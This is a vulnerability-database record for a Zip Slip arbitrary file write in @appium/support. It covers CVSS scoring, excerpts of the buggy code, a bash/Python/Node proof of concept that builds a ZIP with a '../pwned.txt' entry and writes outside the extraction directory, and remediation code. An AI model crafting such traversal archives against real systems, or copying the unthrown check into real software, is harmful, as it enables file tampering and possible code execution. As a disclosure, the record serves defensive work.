{"id":"CVE-2026-30973","aliases":["GHSA-rfx7-4xw3-gh4m"],"url":"https://o3.security/vulnerability/CVE-2026-30973","summary":"Zip Slip arbitrary file write in @appium/support ZIP extraction","details":"## Summary\n\n`@appium/support` contains a ZIP extraction implementation (`extractAllTo()` via `ZipExtractor.extract()`) with a path traversal (Zip Slip) check that is non-functional. The check at line 88 of `packages/support/lib/zip.js` creates an `Error` object but never throws it, allowing malicious ZIP entries with `../` path components to write files outside the intended destination directory. This affects all JS-based extractions (the default code path), not only those using the `fileNamesEncoding` option.\n\n## Severity\n\n**Medium** (CVSS 3.1: 6.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N`\n\n- **Attack Vector:** Network — malicious ZIP files can be supplied over the network (e.g., app packages via URL)\n- **Attack Complexity:** Low — no special conditions required beyond providing a crafted ZIP\n- **Privileges Required:** None — no authentication needed to supply a malicious archive\n- **User Interaction:** Required — a user or automation system must initiate extraction of the attacker's archive\n- **Scope:** Unchanged — impact stays within the file system permissions of the Appium process\n- **Confidentiality Impact:** None — the vulnerability enables file writes, not reads\n- **Integrity Impact:** High — arbitrary file write to any location writable by the process\n- **Availability Impact:** None — no direct availability impact\n\n## Affected Component\n\n- `packages/support/lib/zip.js` — `ZipExtractor.extract()` (line 88) and `ZipExtractor.extractEntry()` (lines 111-145)\n\n## CWE\n\n- **CWE-22**: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n\n## Description\n\n### Missing `throw` renders Zip Slip protection non-functional\n\nThe `ZipExtractor.extract()` method contains a path traversal check intended to prevent Zip Slip attacks. However, the check creates an `Error` object as a bare expression without the `throw` keyword, making it a no-op:\n\n```javascript\n// packages/support/lib/zip.js, lines 80-93\nconst destDir = path.dirname(path.join(dir, fileName));\ntry {\n    await fs.mkdir(destDir, {recursive: true});\n\n    const canonicalDestDir = await fs.realpath(destDir);\n    const relativeDestDir = path.relative(dir, canonicalDestDir);\n\n    if (relativeDestDir.split(path.sep).includes('..')) {\n        new Error(                                          // <-- BUG: missing `throw`\n            `Out of bound path \"${canonicalDestDir}\" found while processing file ${fileName}`\n        );\n    }\n\n    await this.extractEntry(entry);   // extraction proceeds unconditionally\n```\n\nThe presence of a well-formatted error message and surrounding try/catch block (lines 95-99) strongly suggests the `throw` keyword was accidentally omitted.\n\n### yauzl does not provide its own traversal protection\n\nThe upstream `yauzl` library explicitly [does not offer path traversal protection](https://github.com/thejoshwolfe/yauzl#no-path-traversal-protection) regardless of the `decodeStrings` setting. This means the vulnerability affects **all** JS-based extractions through `ZipExtractor`, not only those where `fileNamesEncoding` is set. The `fileNamesEncoding` option bypasses yauzl's string decoding (`decodeStrings: false`), but even with `decodeStrings: true`, yauzl passes through `../` path components without rejection.\n\n### Unprotected write sinks\n\nThe `extractEntry` method writes to attacker-controlled paths with no additional validation:\n\n```javascript\n// packages/support/lib/zip.js, lines 111-145\nconst fileName = this.extractFileName(entry);\nconst dest = path.join(dir, fileName);         // resolves ../pwned.txt outside dir\n// ...\nawait fs.symlink(link, dest);                  // symlink creation (line 143)\nawait pipeline(readStream, fs.createWriteStream(dest, {mode: procMode}));  // file write (line 145)\n```\n\nAdditionally, `_extractEntryTo()` (line 263) used by `readEntries()` has no traversal check at all:\n\n```javascript\nconst dstPath = path.resolve(destDir, entry.fileName);  // no validation\n```\n\n### Default code path is vulnerable\n\nThe `extractAllTo()` function uses the JS-based `ZipExtractor` by default. The system unzip fallback (`useSystemUnzip: true`) must be explicitly enabled and only provides protection if the system binary succeeds:\n\n```javascript\n// packages/support/lib/zip.js, lines 203-210\nif (opts.useSystemUnzip) {\n    try {\n        await extractWithSystemUnzip(zipFilePath, dir);\n        return;\n    } catch (err) {\n        log.warn('unzip failed; falling back to JS: %s', err.stderr || err.message);\n        // Falls through to the vulnerable JS implementation\n    }\n}\n```\n\n## Proof of Concept\n\n```bash\n# 1) Install deps for the support package\ncd packages/support\nnpm install --omit=dev --ignore-scripts --no-audit --no-fund --workspaces=false\n\n# 2) Create a malicious ZIP containing a traversal entry\nexport WORK=/tmp/appium_zip_slip_poc\nrm -rf \"$WORK\" && mkdir -p \"$WORK/dest\"\npython3 - <<'PY'\nimport zipfile, os\nwork = os.environ['WORK']\nzip_path = os.path.join(work, 'evil.zip')\nwith zipfile.ZipFile(zip_path, 'w') as z:\n    z.writestr('../pwned.txt', 'ZIPSLIP_MARKER')\nprint('created', zip_path)\nPY\n\n# 3) Extract with the JS implementation (default path, no fileNamesEncoding needed)\nnode --experimental-default-type=module --experimental-specifier-resolution=node - <<'NODE'\nimport path from 'node:path';\nimport fs from 'node:fs/promises';\nimport { extractAllTo } from './lib/zip.js';\n\nconst work = process.env.WORK;\nconst zipPath = path.join(work, 'evil.zip');\nconst dest = path.join(work, 'dest');\n\nawait extractAllTo(zipPath, dest, { useSystemUnzip: false });\n\nconst outside = path.join(work, 'pwned.txt');\nconsole.log('outside exists?', await fs.stat(outside).then(() => true, () => false));\nconsole.log('outside content:', (await fs.readFile(outside, 'utf8')).trim());\nNODE\n# Expected output:\n# outside exists? true\n# outside content: ZIPSLIP_MARKER\n```\n\n## Impact\n\n- **Arbitrary file write**: An attacker can write files to any location writable by the Appium process, outside the intended extraction directory.\n- **Arbitrary symlink creation**: Malicious ZIP entries with symlink attributes can create symlinks pointing to arbitrary targets, enabling further attacks on subsequent file operations.\n- **Potential code execution**: By overwriting scripts, configuration files, `node_modules` contents, cron jobs, shell profiles, or other executable artifacts, arbitrary file write can chain into remote code execution.\n- **Affects all JS-based extractions**: The default code path (without `useSystemUnzip: true`) is vulnerable regardless of whether `fileNamesEncoding` is set.\n\n## Recommended Remediation\n\n### Option 1: Add the missing `throw` keyword (preferred — minimal fix)\n\n```javascript\n// packages/support/lib/zip.js, line 88\nif (relativeDestDir.split(path.sep).includes('..')) {\n    throw new Error(   // Add `throw`\n        `Out of bound path \"${canonicalDestDir}\" found while processing file ${fileName}`\n    );\n}\n```\n\nThis is the lowest-risk fix: it restores the clearly intended behavior of the existing check. The try/catch block at lines 95-99 will catch the error, set `canceled = true`, close the zip, and reject the promise — exactly the designed error-handling flow.\n\n### Option 2: Add traversal protection to `_extractEntryTo` as well\n\nThe `_extractEntryTo` function (line 262) also lacks a traversal check. For defense-in-depth, add validation there too:\n\n```javascript\nasync function _extractEntryTo(zipFile, entry, destDir) {\n    const dstPath = path.resolve(destDir, entry.fileName);\n    const canonicalDest = path.resolve(dstPath);\n    const canonicalDestDir = path.resolve(destDir);\n    if (!canonicalDest.startsWith(canonicalDestDir + path.sep) && canonicalDest !== canonicalDestDir) {\n        throw new Error(\n            `Out of bound path \"${canonicalDest}\" found while processing file ${entry.fileName}`\n        );\n    }\n    // ... rest of function\n}\n```\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","published":"2026-03-10T17:33:41.009Z","modified":"2026-08-12T03:51:11.328662746Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@appium/support","fixedVersion":"7.0.6"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/appium/appium/releases/tag/@appium/support@7.0.6"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30973.json"},{"type":"ADVISORY","url":"https://github.com/appium/appium/security/advisories/GHSA-rfx7-4xw3-gh4m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30973"},{"type":"PACKAGE","url":"https://github.com/appium/appium"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:11.328662746Z"}}